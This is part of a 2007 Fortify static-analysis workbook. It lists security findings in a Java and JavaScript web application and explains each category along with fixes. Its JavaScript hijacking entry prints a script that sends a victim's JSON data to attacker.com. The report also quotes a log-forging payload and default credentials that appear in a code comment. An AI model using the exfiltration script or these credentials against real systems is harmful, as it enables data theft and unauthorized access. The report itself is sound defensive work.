if(oConfig.templateFile&&oConfig.templates){this.fireEvent('loadTemplateStart');this.templa teLoaded=false;var sTemplateFile=this.constructor.templateFiles;if(sTemplateFile){sTemplateFile=sTemplateFile[ oConfig.templateFile];} if(sTemplateFile){this.parseTemplate(sTemplateFile);}else{var oWidget=this;zapatecTransport.fetch({url:oConfig.templateFilePath+oConfig.templateFile+'.ht ml'+ (typeof zapatecDebug=='function'?'?'+Math.random():''),onLoad:function(oRequest){if(!oWidget){retur n;} oWidget.parseTemplate(oRequest.responseText);oWidget=null;},onError:function(oError){if(!oW idget){return;} oWidget.templateLoaded=true;oWidget.fireEvent('loadTemplateEnd');oWidget.fireEvent('loadTem plateError',oError);oWidget=null;}});}}};Zapatec.Widget.prototype.parseTemplate=function(sH tml){var oContainer=zapatecTransport.parseHtml(sHtml);oContainer.style.display='none';document.body. insertBefore(oContainer,document.body.firstChild);this.initTemplates();document.body.remove Child(oContainer);oContainer=null;this.templateLoaded=true;this.fireEvent('loadTemplateEnd' );this.display();};Zapatec.Widget.prototype.initTemplates=function(){this.discardControls() ;this.discardTemplates();this.templates={};var oTemplates=this.templates;var oTemplateContainers=this.config.templates;if(!oTemplateContainers){this.debug('Missing config option "templates".');return;}

496

497

498 499

WcmWindowHelper.js, line 52 (Insecure Randomness) Folder: Kingdom: Abstract: Sink:


50 51 52 53

Info Security Features Standard pseudo-random number generators cannot withstand cryptographic attacks. WcmWindowHelper.js:52 FunctionPointerCall()
function getRandomNumber() { return Math.round(Math.random() * 10000); }

Copyright 2007 Fortify Software Inc.

Page 19 of 37

Fortify Developer Workbook


Category: Log Forging (3 Issues) Number of Issues
0.00 <Unaudited> Not an Issue 0.25 0.50 0.75 1.00 1.25 1.50 1.75 2.00 2.25 2.50 2.75 3.00

Analysis

Reliability Issue Unknown Suspicious Exploitable

Abstract:
Writing unvalidated user input to log files can allow an attacker to forge log entries or inject malicious content into the logs.

Explanation:
Log forging vulnerabilities occur when: 1. Data enters an application from an untrusted source. 2. The data is written to an application or system log file. Applications typically use log files to store a history of events or transactions for later review, statistics gathering, or debugging. Depending on the nature of the application, the task of reviewing log files may be performed manually on an as-needed basis or automated with a tool that automatically culls logs for important events or trending information. Interpretation of the log files may be hindered or misdirected if an attacker can supply data to the application that is subsequently logged verbatim. In the most benign case, an attacker may be able to insert false entries into the log file by providing the application with input that includes appropriate characters. If the log file is processed automatically, the attacker can render the file unusable by corrupting the format of the file or injecting unexpected characters. A more subtle attack might involve skewing the log file statistics. Forged or otherwise, corrupted log files can be used to cover an attacker's tracks or even to implicate another party in the commission of a malicious act [1]. In the worst case, an attacker may inject code or other commands into the log file and take advantage of a vulnerability in the log processing utility [2]. Example: The following web application code attempts to read an integer value from a request object. If the value fails to parse as an integer, then the input is logged with an error message indicating what happened. String val = request.getParameter("val"); try { int value = Integer.parseInt(val); } catch (NumberFormatException) { log.info("Failed to parse val = " + val); } If a user submits the string "twenty-one" for val, the following entry is logged: INFO: Failed to parse val=twenty-one However, if an attacker submits the string "twenty-one%0a%0aINFO:+User+logged+out%3dbadguy", the following entry is logged: INFO: Failed to parse val=twenty-one INFO: User logged out=badguy Clearly, attackers can use this same mechanism to insert arbitrary log entries.

Recommendations:
Prevent log forging attacks with indirection: create a set of legitimate log entries that correspond to different events that must be logged and only log entries from this set. To capture dynamic content, such as users logging out of the system, always use servercontrolled values rather than user-supplied data. This ensures that the input provided by the user is never used directly in a log entry. Copyright 2007 Fortify Software Inc. Page 20 of 37

Fortify Developer Workbook


In some situations this approach is impractical because the set of legitimate log entries is too large or complicated. In these situations, developers often fall back on blacklisting. Blacklisting selectively rejects or escapes potentially dangerous characters before using the input. However, a list of unsafe characters can quickly become incomplete or outdated. A better approach is to create a white list of characters that are allowed to appear in log entries and accept input composed exclusively of characters in the approved set. The most critical character in most log forging attacks is the '\n' (newline) character, which should never appear on a log entry white list.

Tips:
Many logging operations are created only for the purpose of debugging a program during development and testing. In our experience, debugging will be enabled, either accidentally or purposefully, in production at some point. Do not excuse log forging vulnerabilities simply because a programmer says "I don't have any plans to turn that on in production".

CEConnection.java, line 22 (Log Forging) Folder: Kingdom: Abstract: Source:


16 17 18 19 20

Warning Input Validation and Representation The method CEConnection() in CEConnection.java writes unvalidated user input to the log on line 22. An attacker could take advantage of this behavior to forge log entries or inject malicious content into the log. Config.java:18 java.util.Properties.load()
.getResourceAsStream(PROP_FILE); Properties prop = new Properties(); prop.load(is); objectStoreName = prop.getProperty("objectStoreName"); SysUserName = prop.getProperty("SysUserName");

Sink:
20 21 22 23 24

CEConnection.java:22 org.apache.log4j.Category.info()
mConn = Factory.Connection.getConnection(mConfig.getStrURI()); logger.info("UserContext.createSubject(mConn, " + mConfig.getSysUserName() + ")..."); Subject subject = UserContext.createSubject(mConn, mConfig.getSysUserName(), mConfig.getSysPassWord(), "FileNetP8WSI");

CEConnection.java, line 27 (Log Forging) Folder: Kingdom: Abstract: Source:


16 17 18 19 20

Warning Input Validation and Representation The method CEConnection() in CEConnection.java writes unvalidated user input to the log on line 27. An attacker could take advantage of this behavior to forge log entries or inject malicious content into the log. Config.java:18 java.util.Properties.load()
.getResourceAsStream(PROP_FILE); Properties prop = new Properties(); prop.load(is); objectStoreName = prop.getProperty("objectStoreName"); SysUserName = prop.getProperty("SysUserName");

Sink:
25 26 27 28

CEConnection.java:27 org.apache.log4j.Category.info()
UserContext mUc = UserContext.get(); mUc.pushSubject(subject); logger.info("getCEConnection(url=" + mConfig.getStrURI() + ", user=" + mConfig.getSysUserName() + ": OK..."); }

CEConnection.java, line 19 (Log Forging) Folder: Kingdom: Abstract: Source:


16 17 18

Warning Input Validation and Representation The method CEConnection() in CEConnection.java writes unvalidated user input to the log on line 19. An attacker could take advantage of this behavior to forge log entries or inject malicious content into the log. Config.java:18 java.util.Properties.load()
.getResourceAsStream(PROP_FILE); Properties prop = new Properties(); prop.load(is);

Copyright 2007 Fortify Software Inc.

Page 21 of 37

Fortify Developer Workbook


19 20 objectStoreName = prop.getProperty("objectStoreName"); SysUserName = prop.getProperty("SysUserName");

Sink:
17 18 19 20 21

CEConnection.java:19 org.apache.log4j.Category.info()
//String username = "p8admin"; //String password = "filenet"; logger.info("Factory.Connection.getConnection(" + mConfig.getStrURI() + ")..."); mConn = Factory.Connection.getConnection(mConfig.getStrURI());

Copyright 2007 Fortify Software Inc.

Page 22 of 37

Fortify Developer Workbook


Category: Password Management: Hardcoded Password (3 Issues) Number of Issues
0.00 <Unaudited> Not an Issue 0.25 0.50 0.75 1.00 1.25 1.50 1.75 2.00 2.25 2.50 2.75 3.00

Analysis

Reliability Issue Unknown Suspicious Exploitable

Abstract:
Hardcoded passwords may compromise system security in a way that cannot be easily remedied.

Explanation:
It is never a good idea to hardcode a password. Not only does hardcoding a password allow all of the project's developers to view the password, it also makes fixing the problem extremely difficult. Once the code is in production, the password cannot be changed without patching the software. If the account protected by the password is compromised, the owners of the system will be forced to choose between security and availability. Example: The following code uses a hardcoded password to connect to an application and retrieve addressbook entries: ... obj = new XMLHttpRequest(); obj.open('GET','/fetchusers.jsp?id='+form.id.value,'true','scott','tiger'); ... This code will run successfully, but anyone who accesses the containing web page will be able to view the password.

Recommendations:
Passwords should never be hardcoded and should generally be obfuscated and managed in an external source. Storing passwords in plaintext anywhere on the web site allows anyone with sufficient permissions to read and potentially misuse the password. For JavaScript calls that require passwords, it is better to prompt the user for the password at connection time.

Tips:
Avoid hardcoding passwords in source code and avoid using default passwords. If a hardcoded password is the default, require that it be changed and remove it from the source code.

Dialog.js, line 64 (Password Management: Hardcoded Password) Folder: Kingdom: Abstract: Sink:
62 63 64

Warning Security Features Hardcoded passwords may compromise system security in a way that cannot be easily remedied. Dialog.js:64 FieldAccess()
return html;} $.$Password=function() {this.id=$.$Dialog.$arg(arguments,0);this.help=$.$Dialog.$arg(arguments,1);this.initialValu e=$.$Dialog.$arg(arguments,2);this.numColumns=$.$Dialog.$arg(arguments,3,1);this.vAlignment =$.$Dialog.$arg(arguments,4,$.$VAlignment.middle);this.isMultiLine=false;this.isPassword=tr ue;this.isFileUpload=false;this.isRequired=false;this.canFocus=true;this.row=null;} $.$Password.prototype.$focus=function() {this.row.dialog.win.controls.document.forms[0].elements[this.id].select();this.row.dialog. win.controls.document.forms[0].elements[this.id].focus();}

65 66

Dialog.js, line 85 (Password Management: Hardcoded Password) Folder: Kingdom: Warning Security Features

Copyright 2007 Fortify Software Inc.

Page 23 of 37

Fortify Developer Workbook


Abstract: Sink:
83 84 85

Hardcoded passwords may compromise system security in a way that cannot be easily remedied. Dialog.js:85 FieldAccess()
return html;} $.$FileUpload=function() {this.id=$.$Dialog.$arg(arguments,0);this.help=$.$Dialog.$arg(arguments,1);this.initialValu e=$.$Dialog.$arg(arguments,2);this.numColumns=$.$Dialog.$arg(arguments,3,1);this.vAlignment =$.$Dialog.$arg(arguments,4,$.$VAlignment.middle);this.isMultiLine=false;this.isPassword=fa lse;this.isFileUpload=true;this.isRequired=false;this.canFocus=true;this.row=null;} $.$FileUpload.prototype.$focus=function() {this.row.dialog.win.controls.document.forms[0].elements[this.id].select();this.row.dialog. win.controls.document.forms[0].elements[this.id].focus();}

86 87

Dialog.js, line 43 (Password Management: Hardcoded Password) Folder: Kingdom: Abstract: Sink:
41 42 43

Warning Security Features Hardcoded passwords may compromise system security in a way that cannot be easily remedied. Dialog.js:43 FieldAccess()
html+=this.row.$createSingleLineAlignmentDiv(content,this.id,x,y,width,height,this.hAlignme nt,this.vAlignment);return html;} $.$EditText=function() {this.id=$.$Dialog.$arg(arguments,0);this.help=$.$Dialog.$arg(arguments,1);this.initialValu e=$.$Dialog.$arg(arguments,2);this.isMultiLine=$.$Dialog.$arg(arguments,3,false);this.numCo lumns=$.$Dialog.$arg(arguments,4,1);this.vAlignment=$.$Dialog.$arg(arguments,5,$.$VAlignmen t.middle);this.readOnly=$.$Dialog.$arg(arguments,6,false);this.wrap=$.$Dialog.$arg(argument s,7,true);this.isPassword=false;this.isFileUpload=false;this.isRequired=false;this.canFocus =true;this.row=null;} $.$EditText.prototype.$focus=function() {this.row.dialog.win.controls.document.forms[0].elements[this.id].select();this.row.dialog. win.controls.document.forms[0].elements[this.id].focus();}

44 45

Copyright 2007 Fortify Software Inc.

Page 24 of 37

Fortify Developer Workbook


Category: Missing Check against Null (2 Issues) Number of Issues
0.00 <Unaudited> Not an Issue 0.25 0.50 0.75 1.00 1.25 1.50 1.75 2.00

Analysis

Reliability Issue Unknown Suspicious Exploitable

Abstract:
The program can dereference a null pointer because it does not check the return value of a function that might return null.

Explanation:
Just about every serious attack on a software system begins with the violation of a programmer's assumptions. After the attack, the programmer's assumptions seem flimsy and poorly founded, but before an attack many programmers would defend their assumptions well past the end of their lunch break. Two dubious assumptions that are easy to spot in code are "this function call can never fail" and "it doesn't matter if this function call fails". When a programmer ignores the return value from a function, they implicitly state that they are operating under one of these assumptions. Example 1: The following code does not check to see if the string returned by getParameter() is null before calling the member function compareTo(), potentially causing a null dereference. String itemName = request.getParameter(ITEM_NAME); if (itemName.compareTo(IMPORTANT_ITEM)) { ... } ... Example 2:. The following code shows a system property that is set to null and later dereferenced by a programmer who mistakenly assumes it will always be defined. System.clearProperty("os.name"); ... String os = System.getProperty("os.name"); if (os.equalsIgnoreCase("Windows 95") ) System.out.println("Not supported"); The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or simply allow the program to die dereferencing a null value." But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.

Recommendations:
If a function can return an error code or any other evidence of its success or failure, always check for the error condition, even if there is no obvious way for it to occur. In addition to preventing security errors, many initially mysterious bugs have eventually led back to a failed method call with an unchecked return value. Create an easy to use and standard way for dealing with failure in your application. If error handling is straightforward, programmers will be less inclined to omit it. One approach to standardized error handling is to write wrappers around commonlyused functions that check and handle error conditions without additional programmer intervention. When wrappers are implemented and adopted, the use of non-wrapped equivalents can be prohibited and enforced by using custom rules. Example 3: The following code implements a wrapper around getParameter() that checks the return value of getParameter() against null and uses a default value if the requested parameter is not defined.

Copyright 2007 Fortify Software Inc.

Page 25 of 37

Fortify Developer Workbook


String safeGetParameter (HttpRequest request, String name) { String value = request.getParameter(name); if (value == null) { return getDefaultValue(name) } return value; }

Tips:
Watch out for programmers who want to explain away this type of issue by saying "that can never happen because ...". Chances are good that they have developed their intuition about the way the system works by using their development workstation. If your software will eventually run under different operating systems, operating system versions, hardware configurations, or runtime environments, their intuition may not apply.

Display.jsp, line 92 (Missing Check against Null) Folder: Kingdom: Abstract: Sink:
90 91 92 93 94

Warning API Abuse The method _jspService() in Display.jsp can dereference a null pointer on line 94 because it does not check the return value of getParameter(), which might return null. Display.jsp:92 paramValue = getParameter(...) : ServletRequest.getParameter may return NULL()
for (int i=0; i < parameterNames.size (); i++) { String paramName = parameterNames.get(i); String paramValue = request.getParameter (paramName); /*System.out.println ("parameterNames[i]=" + paramName + ", value= " + paramValue + "...");*/ if (paramValue.isEmpty ())

Config.java, line 15 (Missing Check against Null) Folder: Kingdom: Abstract: Sink:
13 14 15 16 17

Warning API Abuse The method Config() in Config.java can dereference a null pointer on line 16 because it does not check the return value of getClassLoader(), which might return null. Config.java:15 getClassLoader() : Class.getClassLoader may return NULL()
InputStream is = null; try { is = this.getClass().getClassLoader() .getResourceAsStream(PROP_FILE); Properties prop = new Properties();

Copyright 2007 Fortify Software Inc.

Page 26 of 37

Fortify Developer Workbook


Category: System Information Leak: Missing Catch Block (2 Issues) Number of Issues
0.00 <Unaudited> Not an Issue 0.25 0.50 0.75 1.00 1.25 1.50 1.75 2.00

Analysis

Reliability Issue Unknown Suspicious Exploitable

Abstract:
If a Servlet fails to catch all exceptions, it might reveal debugging information that will help an adversary form a plan of attack.

Explanation:
When a Servlet throws an exception, the default error response the Servlet container sends back to the user typically includes debugging information. This information is of great value to an attacker. For example, a stack trace might show the attacker a malformed SQL query string, the type of database being used, and the version of the application container. This information enables the attacker to target known vulnerabilities in these components. Example 1: In the following method a DNS lookup failure will cause the Servlet to throw an exception. protected void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException { String ip = req.getRemoteAddr(); InetAddress addr = InetAddress.getByName(ip); ... out.println("hello " + addr.getHostName()); } Example 2: The following method will throw a NullPointerException if the parameter "name" is not part of the request. protected void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException { String name = getParameter("name"); ... out.println("hello " + name.trim()); }

Recommendations:
All top-level Servlet methods should catch Throwable, thereby minimizing the chance that the Servlet's error response mechanism is invoked. Example 3: The method from Example 1 should be rewritten as follows: proteced void doPost (HttpServletRequest req, HttpServletResponse res) { try { String ip = req.getRemoteAddr(); InetAddress addr = InetAddress.getByName(ip); ... out.println("hello " + addr.getHostName()); }catch (Throwable t) {

Copyright 2007 Fortify Software Inc.

Page 27 of 37

Fortify Developer Workbook


logger.error("caught throwable at top level", t); } } }

CallbackServlet.java, line 36 (System Information Leak: Missing Catch Block) Folder: Kingdom: Abstract: Sink:
34 35 36 37 38

Warning Encapsulation The servlet CallbackServlet fails to catch all exceptions in doPost(). If a Servlet fails to catch all exceptions, it might reveal debugging information that will help an adversary form a plan of attack. CallbackServlet.java:36 Function: com.ibm.otda_ifa.CallbackServlet.doPost()
private final static Logger log = Logger.getLogger(CallbackServlet.class); protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { try {

CallbackServlet.java, line 47 (System Information Leak: Missing Catch Block) Folder: Kingdom: Abstract: Sink:
45 46 47 48 49

Warning Encapsulation The servlet CallbackServlet fails to catch all exceptions in doGet(). If a Servlet fails to catch all exceptions, it might reveal debugging information that will help an adversary form a plan of attack. CallbackServlet.java:47 Function: com.ibm.otda_ifa.CallbackServlet.doGet()
} protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { try {

Copyright 2007 Fortify Software Inc.

Page 28 of 37

Fortify Developer Workbook


Category: J2EE Misconfiguration: Excessive Session Timeout (1 Issues) Number of Issues
0.0 <Unaudited> Not an Issue 0.1 0.2 0.3 0.4 0.5 0.6 0.7 0.8 0.9 1.0

Analysis

Reliability Issue Unknown Suspicious Exploitable

Abstract:
An overly long session timeout gives attackers more time to potentially compromise user accounts.

Explanation:
The longer a session stays open, the larger the window of opportunity an attacker has to compromise user accounts. While a session remains active, an attacker might be able to brute force a user's password, crack a user's wireless encryption key, or commandeer a session from an open browser. Longer session timeouts can also prevent memory from being released and eventually result in a denial of service if a sufficiently large number of sessions are created. Example 1: If the session timeout is zero or less than zero, the session never expires. The following example shows a session timeout set to -1, which will cause the session to remain active indefinitely. <session-config> <session-timeout>-1</session-timeout> </session-config> The <session-timeout> tag defines the default session timeout interval for all sessions in the web application. If the <sessiontimeout> tag is missing, it is left to the container to set the default timeout. This category is from the Cigital Java Rulepack. http://www.cigital.com/securitypack/

Recommendations:
Set a session timeout that is 30 minutes or less, which both allows users to interact with the application over a period of time and provides a reasonable bound for the window of attack. Example 2: The following example sets the session timeout to 20 minutes. <session-config> <session-timeout>20</session-timeout> </session-config>

web.xml, line 2 (J2EE Misconfiguration: Excessive Session Timeout) Folder: Kingdom: Abstract: Sink:
2

Warning Environment An overly long session timeout gives attackers more time to potentially compromise user accounts. web.xml:2
<web-app id="WebApp_ID" version="2.5" xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web -app_2_5.xsd">

Copyright 2007 Fortify Software Inc.

Page 29 of 37

Fortify Developer Workbook


Category: J2EE Misconfiguration: Missing Error Handling (1 Issues) Number of Issues
0.0 <Unaudited> Not an Issue 0.1 0.2 0.3 0.4 0.5 0.6 0.7 0.8 0.9 1.0

Analysis

Reliability Issue Unknown Suspicious Exploitable

Abstract:
A web application must define default error pages in order to prevent attackers from mining information from the application container's built-in error response.

Explanation:
When an attacker explores a web site looking for vulnerabilities, the amount of information that the site provides is crucial to the eventual success or failure of any attempted attacks. If the application shows the attacker a stack trace, it relinquishes information that makes the attacker's job significantly easier. For example, a stack trace might show the attacker a malformed SQL query string, the type of database being used, and the version of the application container. This information enables the attacker to target known vulnerabilities in these components. The application configuration should specify a default error page in order to guarantee that the application will never leak error messages to an attacker. Handling standard HTTP error codes is useful and user-friendly in addition to being a good security practice, and a good configuration will also define a last-chance error handler that catches any exception that could possibly be thrown by the application.

Recommendations:
A web application must be configured with a default error page. Your web.xml should include at least the following entries: <error-page> <exception-type>java.lang.Throwable</exception-type> <location>/error.jsp</location> </error-page> <error-page> <error-code>404</error-code> <location>/error.jsp</location> </error-page> <error-page> <error-code>500</error-code> <location>/error.jsp</location> </error-page>

web.xml, line 2 (J2EE Misconfiguration: Missing Error Handling) Folder: Kingdom: Abstract: Sink:
2

Warning Environment A web application must define default error pages in order to prevent attackers from mining information from the application container's built-in error response. web.xml:2
<web-app id="WebApp_ID" version="2.5" xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web -app_2_5.xsd">

Copyright 2007 Fortify Software Inc.

Page 30 of 37

Fortify Developer Workbook


Category: JavaScript Hijacking: Vulnerable Framework (1 Issues) Number of Issues
0.0 <Unaudited> Not an Issue 0.1 0.2 0.3 0.4 0.5 0.6 0.7 0.8 0.9 1.0

Analysis

Reliability Issue Unknown Suspicious Exploitable

Abstract:
Applications that use JavaScript notation to transport sensitive data can be vulnerable to JavaScript hijacking, which allows an unauthorized attacker to read confidential data from a vulnerable application.

Explanation:
An application may be vulnerable to JavaScript hijacking [1] if it: - Uses JavaScript as a data transfer format - Handles confidential data Because JavaScript hijacking vulnerabilities do not occur as a direct result of a coding mistake, Fortify calls attention to potential JavaScript hijacking vulnerabilities by identifying code that appears to generate JavaScript in an HTTP response. Web browsers enforce the Same Origin Policy in order to protect users from malicious websites. The Same Origin Policy requires that, in order for JavaScript to access the contents of a Web page, both the JavaScript and the Web page must originate from the same domain. Without the Same Origin Policy, a malicious website could serve up JavaScript that loads sensitive information from other websites using a client's credentials, culls through it, and communicates it back to the attacker. JavaScript hijacking allows an attacker to bypass the Same Origin Policy in the case that a Web application uses JavaScript to communicate confidential information. The loophole in the Same Origin Policy is that it allows JavaScript from any website to be included and executed in the context of any other website. Even though a malicious site cannot directly examine any data loaded from a vulnerable site on the client, it can still take advantage of this loophole by setting up an environment that allows it to witness the execution of the JavaScript and any relevant side effects it may have. Since many Web 2.0 applications use JavaScript as a data transport mechanism, they are often vulnerable while traditional Web applications are not. The most popular format for communicating information in JavaScript is JavaScript Object Notation (JSON). The JSON RFC defines JSON syntax to be a subset of JavaScript object literal syntax . JSON is based on two types of data structures: arrays and objects. Any data transport format where messages can be interpreted as one or more valid JavaScript statements is vulnerable to JavaScript hijacking. JSON makes JavaScript hijacking easier by the fact that a JSON array stands on its own as a valid JavaScript statement. Since arrays are a natural form for communicating lists, they are commonly used wherever an application needs to communicate multiple values. Put another way, a JSON array is directly vulnerable to JavaScript hijacking. A JSON object is only vulnerable if it is wrapped in some other JavaScript construct that stands on its own as a valid JavaScript statement. Example 1: The following example begins by showing a legitimate JSON interaction between the client and server components of a Web application that is used to manage sales leads. It goes on to show how an attacker can mimic the client and gain access to the confidential data the server returns. Note that this example is written for Mozilla-based browsers. Other mainstream browsers do not allow native constructors to be overridden when an object is created without the use of the new operator. The client requests data from a server and evaluates the result as JSON with the following code: var object; var req = new XMLHttpRequest(); req.open("GET", "/object.json",true); req.onreadystatechange = function () { if (req.readyState == 4) { var txt = req.responseText; object = eval("(" + txt + ")"); req = null; } }; req.send(null); When the code runs, it generates an HTTP request that looks like this: Copyright 2007 Fortify Software Inc. Page 31 of 37

Fortify Developer Workbook


GET /object.json HTTP/1.1 ... Host: www.example.com Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR (In this HTTP response and the one that follows we have elided HTTP headers that are not directly relevant to this explanation.) The server responds with an array in JSON format: HTTP/1.1 200 OK Cache-control: private Content-Type: text/JavaScript; charset=utf-8 ... [{"fname":"Brian", "lname":"Chess", "phone":"6502135600", "purchases":60000.00, "email":"brian@fortifysoftware.com" }, {"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600", "purchases":120000.00, "email":"katrina@fortifysoftware.com" }, {"fname":"Jacob", "lname":"West", "phone":"6502135600", "purchases":45000.00, "email":"jacob@fortifysoftware.com" }] In this case, the JSON contains confidential information associated with the current user (a list of sales leads). Other users cannot access this information without knowing the user's session identifier. (In most modern Web applications, the session identifier is stored as a cookie.) However, if a victim visits a malicious website, the malicious site can retrieve the information using JavaScript hijacking. If a victim can be tricked into visiting a Web page that contains the following malicious code, the victim's lead information will be sent to the attacker's Web site. <script> // override the constructor used to create all objects so // that whenever the "email" field is set, the method // captureObject() will run. Since "email" is the final field, // this will allow us to steal the whole object. function Object() { this.email setter = captureObject; } // Send the captured object back to the attacker's Web site function captureObject(x) { var objString = ""; for (fld in this) { objString += fld + ": " + this[fld] + ", "; } objString += "email: " + x; var req = new XMLHttpRequest(); req.open("GET", "http://attacker.com?obj=" + escape(objString),true); req.send(null); } </script> <!-- Use a script tag to bring in victim's data --> <script src="http://www.example.com/object.json"></script> The malicious code uses a script tag to include the JSON object in the current page. The Web browser will send up the appropriate session cookie with the request. In other words, this request will be handled just as though it had originated from the legitimate application. When the JSON array arrives on the client, it will be evaluated in the context of the malicious page. In order to witness the evaluation of the JSON, the malicious page has redefined the JavaScript function used to create new objects. In this way, the malicious code has inserted a hook that allows it to get access to the creation of each object and transmit the object's contents back to the malicious site. Other attacks might override the default constructor for arrays instead. Applications that are built to be used in a mashup sometimes invoke a callback function at the end of each JavaScript message. The callback function is meant to be defined by another application in the mashup. A callback function makes a JavaScript hijacking attack a trivial affair -- all the attacker has to do is define the function. An application can be mashup-friendly or it can be secure, but it cannot be both. Copyright 2007 Fortify Software Inc. Page 32 of 37

Fortify Developer Workbook


If the user is not logged into the vulnerable site, the attacker can compensate by asking the user to log in and then displaying the legitimate login page for the application. This is not a phishing attack -- the attacker does not gain access to the user's credentials -- so anti-phishing countermeasures will not be able to defeat the attack. More complex attacks could make a series of requests to the application by using JavaScript to dynamically generate script tags. This same technique is sometimes used to create application mashups. The only difference is that, in this mashup scenario, one of the applications involved is malicious.

Recommendations:
All programs that communicate using JavaScript should take the following defensive measures: - Decline malicious requests: Include a hard-to-guess identifier, such as the session identifier, as part of each request that will return JavaScript. This defeats cross-site request forgery attacks by allowing the server to validate the origin of the request. - Prevent direct execution of the JavaScript response: Include characters in the response that prevent it from being successfully handed off to a JavaScript interpreter without modification. This prevents an attacker from using a <script> tag to witness the execution of the JavaScript. The best way to defend against JavaScript hijacking is to do adopt both defensive tactics. Declining Malicious Requests From the server's perspective, a JavaScript hijacking attack looks like an attempt at cross-site request forgery, and defenses against cross-site request forgery will also defeat JavaScript hijacking attacks. In order to make it easy to detect malicious requests, every request should include a parameter that is hard for an attacker to guess. One approach is to add the session cookie to the request as a parameter. When the server receives such a request, it can check to be certain the session cookie matches the value in the request parameter. Malicious code does not have access to the session cookie (cookies are also subject to the Same Origin Policy), so there is no easy way for the attacker to craft a request that will pass this test. A different secret can also be used in place of the session cookie. As long as the secret is hard to guess and appears in a context that is accessible to the legitimate application and not accessible from a different domain, it will prevent an attacker from making a valid request. Some frameworks run only on the client side. In other words, they are written entirely in JavaScript and have no knowledge about the workings of the server. This implies that they do not know the name of the session cookie. Even without knowing the name of the session cookie, they can participate in a cookie-based defense by adding all of the cookies to each request to the server. Example 2: The following JavaScript fragment outlines this "blind client" strategy: var httpRequest = new XMLHttpRequest(); ... var cookies="cookies="+escape(document.cookie); http_request.open('POST', url, true); httpRequest.send(cookies); The server could also check the HTTP referer header in order to make sure the request has originated from the legitimate application and not from a malicious application. Historically speaking, the referer header has not been reliable, so we do not recommend using it as the basis for any security mechanisms. A server can mount a defense against JavaScript hijacking by responding to only HTTP POST requests and not responding to HTTP GET requests. This is a defensive technique because the <script> tag always uses GET to load JavaScript from external sources. This defense is also error-prone. The use of GET for better performance is encouraged by Web application experts. The missing connection between the choice of HTTP methods and security means that, at some point, a programmer may mistake this lack of functionality for an oversight rather than a security precaution and modify the application to respond to GET requests. Preventing Direct Execution of the Response In order to make it impossible for a malicious site to execute a response that includes JavaScript, the legitimate client application can take advantage of the fact that it is allowed to modify the data it receives before executing it, while a malicious application can only execute it using a <script> tag. When the server serializes an object, it should include a prefix (and potentially a suffix) that makes it impossible to execute the JavaScript using a <script> tag. The legitimate client application can remove this extraneous data before running the JavaScript. Example 3: There are many possible implementations of this approach. The following example demonstrates two. First, the server could prefix each message with the statement: while(1); Unless the client removes this prefix, evaluating the message will send the JavaScript interpreter into an infinite loop. The client searches for and removes the prefix like this: var object; var req = new XMLHttpRequest(); req.open("GET", "/object.json",true); req.onreadystatechange = function () { if (req.readyState == 4) { var txt = req.responseText; if (txt.substr(0,9) == "while(1);") { txt = txt.substring(10); Copyright 2007 Fortify Software Inc. Page 33 of 37

Fortify Developer Workbook


} object = eval("(" + txt + ")"); req = null; } }; req.send(null); Second, the server can include comment characters around the JavaScript that have to be removed before the JavaScript is sent to eval(). The following JSON object has been enclosed in a block comment: /* [{"fname":"Brian", "lname":"Chess", "phone":"6502135600", "purchases":60000.00, "email":"brian@fortifysoftware.com" } ] */ The client can search for and remove the comment characters like this: var object; var req = new XMLHttpRequest(); req.open("GET", "/object.json",true); req.onreadystatechange = function () { if (req.readyState == 4) { var txt = req.responseText; if (txt.substr(0,2) == "/*") { txt = txt.substring(2, txt.length - 2); } object = eval("(" + txt + ")"); req = null; } }; req.send(null); Any malicious site that retrieves the sensitive JavaScript via a <script> tag will not gain access to the data it contains.

zapatec.js, line 312 (JavaScript Hijacking: Vulnerable Framework) Folder: Kingdom: Abstract: Sink:
310 311 312 313 314

Info Encapsulation Applications that use JavaScript notation to transport sensitive data can be vulnerable to JavaScript hijacking, which allows an unauthorized attacker to read confidential data from a vulnerable application. zapatec.js:312 AssignmentStatement()
if(zapatecTransport.isBusy(oArg)){oContr.removeChild(oContr.firstChild);}};Zapatec.Transpor t.fetch=function(oArg){if(oArg==null||typeof oArg!='object'){return null;} if(!oArg.url){return null;} if(!oArg.method){oArg.method='GET';} if(typeof oArg.async=='undefined'){oArg.async=true;} if(!oArg.contentType&&oArg.method.toUpperCase()=='POST'){oArg.contentType='application/xwww-form-urlencoded';}

Copyright 2007 Fortify Software Inc.

Page 34 of 37

Fortify Developer Workbook


Category: Password Management: Password in Comment (1 Issues) Number of Issues
0.0 <Unaudited> Not an Issue 0.1 0.2 0.3 0.4 0.5 0.6 0.7 0.8 0.9 1.0

Analysis

Reliability Issue Unknown Suspicious Exploitable

Abstract:
Hardcoded passwords can compromise system security in a way that cannot be easily remedied.

Explanation:
It is never a good idea to hardcode a password. Not only does hardcoding a password allow all of the project's developers to view the password, it also makes fixing the problem extremely difficult. Once the code is in production, the password cannot be changed without patching the software. If the account protected by the password is compromised, the owners of the system will be forced to choose between security and availability. Example: The following comment specifies the default password to connect to a database: ... // Default username for database connection is "scott" // Default password for database connection is "tiger" ... This code will run successfully, but anyone who has access to it will have access to the password. Once the program has shipped, there is no going back from the database user "scott" with a password of "tiger" unless the program is patched. A devious employee with access to this information can use it to break into the system.

Recommendations:
Passwords should never be hardcoded and should generally be obfuscated and managed in an external source. Storing passwords in plaintext anywhere on the system allows anyone with sufficient permissions to read and potentially misuse the password.

CEConnection.java, line 18 (Password Management: Password in Comment) Folder: Kingdom: Abstract: Sink:
16 17 18 19 20

